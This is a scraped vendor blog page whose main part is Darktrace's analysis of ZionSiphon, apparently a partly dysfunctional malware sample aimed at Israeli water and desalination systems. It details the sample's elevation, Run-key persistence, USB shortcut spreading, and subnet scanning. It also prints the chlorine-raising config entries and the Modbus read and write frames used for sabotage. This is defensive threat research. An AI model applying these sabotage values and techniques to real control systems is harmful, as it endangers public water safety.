That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

About the author

Ed Jennings

President and CEO

Blog

OT

April 17, 2026

Inside ZionSiphon: Darktrace’s Analysis of OT Malware Targeting Israeli Water Systems

What is ZionSiphon?

Darktrace recently analyzed a malware sample, which identifies itself as ZionSiphon. This sample combines several familiar host-based capabilities, including privilege escalation, persistence, and removable-media propagation, with targeting logic themed around water treatment and desalination environments.

This blog details Darktrace’s investigation of ZionSiphon, focusing on how the malware identifies targets, establishes persistence, attempts to tamper with local configuration files, and scans for Operational Technology (OT)-relevant services on the local subnet. The analysis also assesses what the code suggests about the threat actor’s intended objectives and highlights where the implementation appears incomplete.

*Figure 1: Function “ZionSiphon()” used by the malware author.*

Targets and motivations

Israel-Focused Targeting and Messaging‍

The clearest indicators of intent in this sample are its hardcoded Israel-focused targeting checks and the strong political messaging found in some strings in the malware’s binary.

In the class initializer, the malware defines a set of IPv4 ranges, including “2.52.0.0-2.55.255.255”, “79.176.0.0-79.191.255.255”, and “212.150.0.0-212.150.255.255”, indicating that the author intended to restrict execution to a narrow range of addresses. All of the specified IP blocks are geographically located within Israel.

*Figure 2: The malware obfuscates the IP ranges by encoding them in Base64.*

The ideological motivations behind this malware are also seemingly evident in two Base64-encoded strings embedded in the binary. The first (shown in Figure 1) is:

“Netanyahu = SW4gc3VwcG9ydCBvZiBvdXIgYnJvdGhlcnMgaW4gSXJhbiwgUGFsZXN0aW5lLCBhbmQgWWVtZW4gYWdhaW5zdCBaaW9uaXN0IGFnZ3Jlc3Npb24uIEkgYW0gIjB4SUNTIi4=“, which decodes to “In support of our brothers in Iran, Palestine, and Yemen against Zionist aggression. I am "0xICS".

The second string, “Dimona = UG9pc29uaW5nIHRoZSBwb3B1bGF0aW9uIG9mIFRlbCBBdml2IGFuZCBIYWlmYQo=“, decodes to “Poisoning the population of Tel Aviv and Haifa”. These strings do not appear to be used by the malware for any operational purpose, but they do offer an indication of the attacker’s motivations. Dimona, referenced in the second string, is an Israeli city in the Negev desert, primarily known as the site of the Shimon Peres Negev Nuclear Research Center.

*Figure 3: The Dimona string as it appears in the decompiled malware, with the Base64-decoded text.*

The hardcoded IP ranges and propaganda‑style text suggest politically motivated intent, with Israel appearing to be a likely target.

Water and desalination-themed targeting?

The malware also includes Israel-linked strings in its target list, including “Mekorot, “Sorek”, “Hadera”, “Ashdod”, “Palmachim”, and “Shafdan”. All of the strings correspond to components of Israel’s national water infrastructure: Mekorot is Israel’s national water company responsible for managing the country’s water system, including major desalination and wastewater projects. Sorek, Hadera, Ashdod, and Palmachim are four of Israel’s five major seawater desalination plants, each producing tens of millions of cubic meters of drinking water annually. Shafdan is the country’s central wastewater treatment and reclamation facility. Their inclusion in ZionSiphon’s targeting list suggests an interest in infrastructure linked to Israel’s water sector.

*Figure 4: Strings in the target list, all related to Israel and water treatment.*

Beyond geographic targeting, the sample contains a second layer of environment-specific checks aimed at water treatment and desalination systems. In the function ”IsDamDesalinationPlant()”, the malware first inspects running process names for strings such as “DesalPLC”, “ROController”, “SchneiderRO”, “DamRO”, “ReverseOsmosis”, “WaterGenix”, “RO_Pump”, “ChlorineCtrl”, “WaterPLC”, “SeaWaterRO”, “BrineControl”, “OsmosisPLC”, “DesalMonitor”, “RO_Filter”, “ChlorineDose”, “RO_Membrane”, “DesalFlow”, “WaterTreat”, and “SalinityCtrl”. These strings are directly related to desalination, reverse osmosis, chlorine handling, and plant control components typically seen in the water treatment industry.

The filesystem checks reinforce this focus. The code looks for directories such as “C:\Program Files\Desalination”, “C:\Program Files\Schneider Electric\Desal”, “C:\Program Files\IDE Technologies”, “C:\Program Files\Water Treatment”, “C:\Program Files\RO Systems”, “C:\Program Files\DesalTech”, “C:\Program Files\Aqua Solutions”, and “C:\Program Files\Hydro Systems”, as well as files including “C:\DesalConfig.ini”, “C:\ROConfig.ini”, “C:\DesalSettings.conf”, “C:\Program Files\Desalination\system.cfg”, “C:\WaterTreatment.ini”, “C:\ChlorineControl.dat”, “C:\RO_PumpSettings.ini”, and “C:\SalinityControl.ini.”

Malware Analysis

Privilege Escalation

*Figure 5: The “RunAsAdmin” function from the malware sample.*

The malware’s first major action is to check whether it is running with administrative rights. The “RunAsAdmin()” function calls “IsElevated()”, which retrieves the current Windows identity and checks whether it belongs to the local Administrators group. If the process is already elevated, execution proceeds normally.

*Figure 6: The “IsElevated” function as seen in the sample.*

If not, the code waits on the named mutex and launches “powershell.exe” with the argument “Start-Process -FilePath <current executable> -Verb RunAs”, after which it waits for that process to finish and then exits. ‍

Persistence and stealth installation

Persistence is handled by “s1()”. This routine opens “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”, retrieves the current process path, and compares it to “stealthPath”. If the current file is not already running from that location, it copies itself to the stealth path and sets the copied file’s attributes to “hidden”.

The code then creates a “Run” value named “SystemHealthCheck” pointing to the stealth path. Because “stealthPath” is built from “LocalApplicationData” and the hardcoded filename “svchost.exe”, the result is a user-level persistence mechanism that disguises the payload under a familiar Windows process name. The combination of a hidden file and a plausible-sounding autorun value suggests an intent to blend into ordinary Windows artifacts rather than relying on more complex persistence methods.

Target determination

The malware’s targeting determination is divided between “IsTargetCountry()” and “IsDamDesalinationPlant()”. The “IsTargetCountry()” function retrieves the local IPv4 address, converts it to a numeric value, and compares it against each of the hardcoded ranges stored in “ipRanges”. Only if the address falls within one of these ranges does the code move on to next string-comparison step, which ultimately determines whether the country check succeeded.

*Figure 8: The main target validation function.*

“IsDamDesalinationPlant()” then assesses whether the host resembles a relevant OT environment. It first scans running process names for the hardcoded strings previously mentioned, followed by checks for the presence of any of the hardcoded directories or files. The intended logic is clear: the payload activates only when both a geographic condition and an environment specific condition related to desalination or water treatment are met.

*Figure. 10: An excerpt of the list of strings used in the “IsDamDesalinationPlant” function*

Why this version appears dysfunctional

Although the file contains sabotage, scanning, and propagation functions, the current sample appears unable to satisfy its own target-country checking function even when the reported IP falls within the specified ranges. In the static constructor, every “ipRanges” entry is associated with the same decoded string, “Nqvbdk”, derived from “TnF2YmRr”. Later, “IsTargetCountry()” (shown in Figure 8) compares that stored value against “EncryptDecrypt("Israel", 5)”.

*Figure 11: The “EncryptDecrypt” function*

As implemented, “EncryptDecrypt("Israel", 5)” does not produce “Nqvbdk”, it produces a different string. This function seems to be a basic XOR encode/decode routine, XORing the string “Israel” with value of 5. Because the resulting output does not match “Nqvbdk” the comparison always fails, even when the host IP falls within one of the specified ranges. As a result, this build appears to consistently determine that the device is not a valid target. This behavior suggests that the version is either intentionally disabled, incorrectly configured, or left in an unfinished state. In fact, there is no XOR key that would transform “Israel” into “Nqvbdk” using this function.‍

Self-destruct function

If IsTargetCountry() returns false, the malware invokes “SelfDestruct()”. This routine removes the SystemHealthCheck value from “HKCU\Software\Microsoft\Windows\CurrentVersion\Run”, writes a log file to “%TEMP%\target_verify.log” containing the message “Target not matched. Operation restricted to IL ranges. Self-destruct initiated.” and creates the batch file “%TEMP%\delete.bat”. This file repeatedly attempts to delete the malware’s executable, before deleting itself.

Local configuration file tampering

If the malware determines that the system it is on is a valid target, its first action is local file tampering. “IncreaseChlorineLevel()” checks a hardcoded list of configuration files associated with desalination, reverse osmosis, chlorine control, and water treatment OT/Industrial Control Systems (ICS). As soon as it finds any one of these file present, it appends a fixed block of text to it and returns immediately.

*Figure 13: The block of text appended to relevant configuration files.*

The appended block of text contains the following entries: “Chlorine_Dose=10”, “Chlorine_Pump=ON”, “Chlorine_Flow=MAX”, “Chlorine_Valve=OPEN”, and “RO_Pressure=80”. Only if none of the hardcoded files are found does the malware proceed to its network-based OT discovery logic.

OT discovery and protocol logic

This section of the code attempts to identify devices on the local subnet, assign each one a protocol label, and then attempt protocol-specific communication. While the overall structure is consistent across protocols, the implementation quality varies significantly.

The discovery routine, “UZJctUZJctUZJct()”, obtains the local IPv4 address, reduces it to a /24 prefix, and iterates across hosts 1 through 255. For each host, it probes ports 502 (Modbus), 20000 (DNP3), and 102 (S7comm), which the code labels as “Modbus”, “DNP3”, and “S7” respectively if a valid response is received on the relevant port.

The probing is performed in parallel. For every “ip:port” combination, the code creates a task and attempts a TCP connection. The “100 ms” value in the probe routine is a per-connection timeout on “WaitOne(100, ...)”, rather than a delay between hosts or protocols. In practice, this results in a burst of short-lived OT-focused connection attempts across the local subnet.

Protocol validation and device classification

When a connection succeeds, the malware does not stop at the open port. It records the endpoint as an “ICSDevice” with an IP address, port, and protocol label. It then performs a second-stage validation by writing a NULL byte to the remote stream and reading the response that comes back.

For Modbus, the malware checks whether the first byte of the reply is between 1 and 255, for DNP3, it checks whether the first two bytes are “05 64”, and for S7comm, it checks whether the first byte is “03”. These checks are not advanced parsers, but they do show that the author understood the protocols well enough to add lightweight confirmation before sending follow-on data.

*Figure 15: The Modbus read request along with unfinished code for additional protocols.*

The most developed OT-specific logic is the Modbus-oriented path. In the function “IncreaseChlorineLevel(string targetIP, int targetPort, string parameter)”, the malware connects to the target and sends “01 03 00 00 00 0A”. It then reads the response and parses register values in pairs. The code then uses some basic logic to select a register index: for “Chlorine_Dose”, it looks for values greater than 0 and less than 1000; for “Turbine_Speed”, it looks for values greater than 100.

The Modbus command observed in the sample (01 03 00 00 00 0A) is a Read Holding Registers request. The first byte (0x01) represents the unit identifier, which in traditional Modbus RTU specifies the addressed slave device; in Modbus TCP, however, this value is often ignored or used only for gateway routing because device addressing is handled at the IP/TCP layer.

The second byte (0x03) is the Modbus function code indicating a Read Holding Registers request. The following two bytes (0x00 0x00) specify the starting register address, indicating that the read begins at address zero. The final two bytes (0x00 0A) define the number of registers to read, in this case ten consecutive registers. Taken together, the command requests the contents of the first ten holding registers from the target device and represents a valid, commonly used Modbus operation.

If a plausible register is found, the malware builds a six-byte Modbus write using function code “6” (Write)” and sets the value to 100 for “Chlorine_Dose”, or 0 for any other parameter. If no plausible register is found, it falls back to using hardcoded write frames. In the main malware path, however, the code only calls this function with “Chlorine_Dose".

If none of the ten registers meets the expected criteria, the malware does not abandon the operation. Instead, it defaults to a set of hardcoded Modbus write frames that specify predetermined register addresses and values. This behavior suggests that the attacker had only partial knowledge of the target environment. The initial register-scanning logic appears to be an attempt at dynamic discovery, while the fallback logic ensures that a write operation is still attempted even if that discovery fails.

Incomplete DNP3 and S7comm Logic

The DNP3 and S7comm branches appear much less complete. In “GetCommand()”, the DNP3 path returns the fixed byte sequence “05 64 0A 0C 01 02”, while the S7comm path returns “03 00 00 13 0E 00”. Neither sequence resembles a fully formed command for the respective protocol.

In the case of the S7comm section, the five byte‑ sequence found in the malware sample (05 00 1C 22 1E) most closely matches the beginning of an S7comm parameter block, specifically the header of a “WriteVar (0x05)” request, which is the S7comm equivalent of a Modbus register write operation. In the S7comm protocol, the first byte of a parameter block identifies the function code, but the remaining bytes in this case do not form a valid item definition. A vaild S7 WriteVar parameter requires at least one item and a full 11-byte variable-specification structure. By comparison this 5‑ byte array is far too short to be a complete or usable command.

The zero item count (0x00) and the trailing three bytes appear to be either uninitialized data or the beginning of an incomplete address field. Together, these details suggest that the attacker likely intended to implement S7 WriteVar functionality, like the Modbus function, but left this portion of the code unfinished.

The DNP3 branch of the malware also appears to be only partially implemented. The byte sequence returned by the DNP3 path (05 64 0A 0C 01 02) begins with the correct two‑byte DNP3 link‑layer sync header (0x05 0x64) and includes additional bytes that resemble the early portion of a link‑layer header. However, the sequence is far too short to constitute a valid DNP3 frame. It lacks the required destination and source address fields, the 16‑bit CRC blocks, and any application‑layer payload in which DNP3 function code would reside. As a result, this fragment does not represent a meaningful DNP3 command.

The incomplete S7 and DNP3 fragments suggest that these protocol branches were still in a developmental or experimental state when the malware was compiled. Both contain protocol‑accurate prefixes, indicating an intent to implement multi‑protocol OT capabilities, however for reasons unknow, these sections were not fully implemented or could not be completed prior to deployment.

USB Propagation

The malware also includes a removable-media propagation mechanism. The “sdfsdfsfsdfsdfqw()” function scans for drives, selects those identified as removable, and copies the hidden payload to each one as “svchost.exe” if it is not already present. The copied executable is marked with the “Hidden” and “System” attributes to reduce visibility.

The malware then calls “CreateUSBShortcut()”, which uses “WScript.Shell” to create .lnk files for each file in the removable drive root. Each shortcut’s TargetPath is set to the hidden malware copy, the icon is set to “shell32.dll, 4” (this is the windows genericfile icon), and the original file is hidden. Were a victim to click this “file,” they would unknowingly run the malware.

*Figure 14:The creation of the shortcut on the USB device.*

Key Insights

ZionSiphon represents a notable, though incomplete, attempt to build malware capable of malicious interaction with OT systems targeting water treatment and desalination environments.

While many of ZionSiphon’s individual capabilities align with patterns commonly found in commodity malware, the combination of politically motivated messaging, Israel‑specific IP targeting, and an explicit focus on desalination‑related processes distinguishes it from purely opportunistic threats. The inclusion of Modbus sabotage logic, filesystem tampering targeting chlorine and pressure control, and subnet‑wide ICS scanning demonstrates a clear intent to interact directly with industrial processes controllers and to cause significant damage and potential harm, rather than merely disrupt IT endpoints.

At the same time, numerous implementation flaws, most notably the dysfunctional country‑validation logic and the placeholder DNP3 and S7comm components, suggest that analyzed version is either a development build, a prematurely deployed sample, or intentionally defanged for testing purposes. Despite these limitations, the overall structure of the code likely indicates a threat actor experimenting with multi‑protocol OT manipulation, persistence within operational networks, and removable‑media propagation techniques reminiscent of earlier ICS‑targeting campaigns.

Even in its unfinished state, ZionSiphon underscores a growing trend in which threat actors are increasingly experimenting with OT‑oriented malware and applying it to the targeting of critical infrastructure. Continued monitoring, rapid anomaly detection, and cross‑visibility between IT and OT environments remain essential for identifying early‑stage threats like this before they evolve into operationally viable attacks.

Credit to Calum Hall (Cyber Analyst)
Edited by Ryan Traill (Content Manager)

References

1. https://www.virustotal.com/gui/file/07c3bbe60d47240df7152f72beb98ea373d9600946860bad12f7bc617a5d6f5f/details

About the author

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Introduction: Qubitstrike

Initial access

mi.sh

System preparation

Retrieving XMRig

Registering persistence

Credential exfiltration

SSH propagation

Diamorphine rootkit

Credential access

Discord C2

Conclusion

References

YARA rule

Indicators of compromise

Filename SHA256

Paths

SSH keys

URLs

Cryptocurrency wallet ID

Cryptocurrency mining pool

Inside ZionSiphon: Darktrace’s Analysis of OT Malware Targeting Israeli Water Systems

Why Behavioral AI Is the Answer to Mythos

Enjoying the blog?

More in this series

Blog

April 17, 2026

Why Behavioral AI Is the Answer to Mythos

How AI is breaking the patch-and-prevent security model

The AI cyber advantage: Behavioral AI

The Darktrace approach to cybersecurity

Security for novel threats

What leaders should do right now

Blog

OT

April 17, 2026

Inside ZionSiphon: Darktrace’s Analysis of OT Malware Targeting Israeli Water Systems

What is ZionSiphon?

Targets and motivations

The hardcoded IP ranges and propaganda‑style text suggest politically motivated intent, with Israel appearing to be a likely target.Water and desalination-themed targeting?

Malware Analysis

Privilege Escalation

Persistence and stealth installation

Target determination

Why this version appears dysfunctional

Self-destruct function

Local configuration file tampering

OT discovery and protocol logic

Protocol validation and device classification

Incomplete DNP3 and S7comm Logic

USB Propagation

Key Insights

References

The hardcoded IP ranges and propaganda‑style text suggest politically motivated intent, with Israel appearing to be a likely target.

Water and desalination-themed targeting?